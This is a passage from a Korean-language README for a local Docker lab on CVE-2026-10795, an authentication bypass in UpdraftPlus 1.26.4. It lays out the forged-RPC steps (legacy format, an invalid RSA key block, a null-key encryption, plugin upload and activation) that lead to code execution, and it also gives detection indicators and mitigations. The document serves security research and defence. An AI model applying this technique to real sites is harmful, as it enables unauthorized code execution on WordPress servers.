curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
예상:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
취약한 컨테이너 내부에 설치된 플러그인을 확인하세요:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
패치된 컨테이너 내부에 설치된 플러그인을 확인하세요:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
취약한 서비스는 PoC가 실행된 후 마커 플러그인을 포함해야 합니다. 패치된 서비스는 포함해서는 안 됩니다.
## 영향
이 랩은 인증되지 않은 공격자가 적절한 UpdraftCentral 키 상태가 존재할 때 UpdraftPlus 1.26.4에서 권한 있는 명령 디스패치에 도달하는 UpdraftCentral RPC 메시지를 위조할 수 있음을 보여줍니다.
입증된 영향은 RCE 방식입니다. 위조된 RPC 명령이 합법적인 플러그인 관리 기능을 악용하기 때문입니다.```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
로컬 증명은 웹 서버 사용자로 실행되는 것을 보여줍니다:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
취약점 범주는 여전히 인증 우회입니다. 코드 실행 결과는 권한 있는 WordPress 플러그인 설치를 통한 연쇄적 영향입니다.
## 탐지 및 모니터링
잠재적 지표에는 UpdraftCentral RPC 필드를 포함한 WordPress 프론트 페이지로의 인증되지 않은 POST 요청이 포함됩니다:```text
format
key_name
udrpc_message
signature
의심스러운 특징:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
로컬 랩 지표:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
프로덕션 모니터링 아이디어:
udrpc_message가 포함된 POST 요청에 대해 웹 액세스 로그를 검토합니다.format=1 RPC 요청에 대해 경고합니다.wp-content/plugins 아래의 파일 시스템 변경 사항을 모니터링합니다.UpdraftPlus를 버전 1.26.5 이상으로 업그레이드하세요.
패치된 버전은 대칭 복호화 및 명령 디스패치 전에 잘못된 복호화된 대칭 키를 거부합니다.
권장 완화 단계:
udrpc_message 요청에 대해 액세스 로그를 검토합니다.가장 중요한 수정 사항은 복호화 및 디스패치 전에 잘못된 대칭 키를 거부하는 패치된 UpdraftPlus 버전을 실행하는 것입니다.
컨테이너를 중지하고 네트워크를 제거합니다:```bash docker compose down --remove-orphans
컨테이너, 네트워크 및 볼륨 제거:```bash
docker compose down -v --remove-orphans
Python 가상 환경 제거:```bash rm -rf venv
Remove local evidence files if created:```bash
rm -rf evidence/
이 랩은 로컬 보안 연구 및 통제된 데모 전용입니다.
소유하지 않았거나 테스트에 대한 명시적 허가가 없는 시스템에 대해 PoC를 실행하지 마십시오.
이 랩에서 실제 자격 증명, 프로덕션 비밀 또는 외부 대상을 사용하지 마십시오.
PoC는 의도적으로 다음과 같은 로컬 Docker 서비스로 범위가 제한되어 있습니다:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
The PoC refuses non-local targets by default.
The marker plugin does not implement a generic command execution parameter. It only exposes a hard-coded local proof endpoint that runs `/usr/bin/id`.
This lab does not include:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
목표는 통제된 환경에서 하나의 특정 기술적 조건을 입증하는 것입니다:```text unauthenticated forged RPC
## 참고자료
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Wordfence 취약점 데이터베이스: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Patchstack 데이터베이스: UpdraftPlus
https://patchstack.com/database/
* WordPress.org 플러그인: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* WordPress.org 플러그인 SVN
https://plugins.svn.wordpress.org/updraftplus/
* WordPress.org 플러그인 SVN 태그
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: 인증 치트 시트
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: 웹 보안 테스트 가이드
https://owasp.org/www-project-web-security-testing-guide/
| PoC 동작 | 테스트 중인 소스 동작 | 1.26.4에서 예상 결과 | 1.26.5에서 예상 결과 |
|---|
format=1로 POST 전송 | 리스너가 레거시 RPC 형식을 수락함 | 계속 진행됨 | 패치된 복호화 검사로 계속 진행됨 |
| 유효한 서명 생략 | 서명 검사는 format >= 2에만 적용됨 | 서명 불필요 | format=1에는 서명이 필요 없지만 이후 차단됨 |
| 잘못된 RSA 블록 전송 | RSA 복호화가 잘못된 대칭 키를 반환함 | 잘못된 키가 setKey()에 도달함 | 잘못된 키 거부됨 |
| null 키/null IV로 JSON 암호화 | setKey(false) 이후 phpseclib 폴백 동작을 모델링함 | 유효한 JSON으로 복호화됨 | 복호화되지 않음 |
command=ping 설정 | 암호화 우회 및 디스패치만 테스트함 | PING DISPATCHED | PING NOT DISPATCHED |
command=plugin.upload_plugin 설정 | UpdraftCentral 플러그인 업로드 메서드를 호출함 | 플러그인 ZIP 설치됨 | 명령에 도달하지 못함 |
activate=true 설정 | 설치 후 activate_plugin()을 트리거함 | 마커 플러그인 활성화됨 | 마커 플러그인 없음 |
/wp-json/cve-lab/v1/id 요청 | 마커 플러그인 코드가 실행 중인지 확인함 | uid=33(www-data) 반환 | 404 rest_no_route 반환 |
| 서비스 | 컴포넌트 | 버전 / 역할 |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 취약한 대상 |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 패치된 대상 |
vuln_db | MariaDB | 취약한 대상용 데이터베이스 |
patched_db | MariaDB | 패치된 대상용 데이터베이스 |
vuln_setup | WP-CLI 셋업 서비스 | WordPress를 설치하고, UpdraftPlus를 활성화하며, 로컬 키 상태를 시드합니다. |
patched_setup | WP-CLI 셋업 서비스 | WordPress를 설치하고, UpdraftPlus를 활성화하며, 로컬 키 상태를 시드합니다. |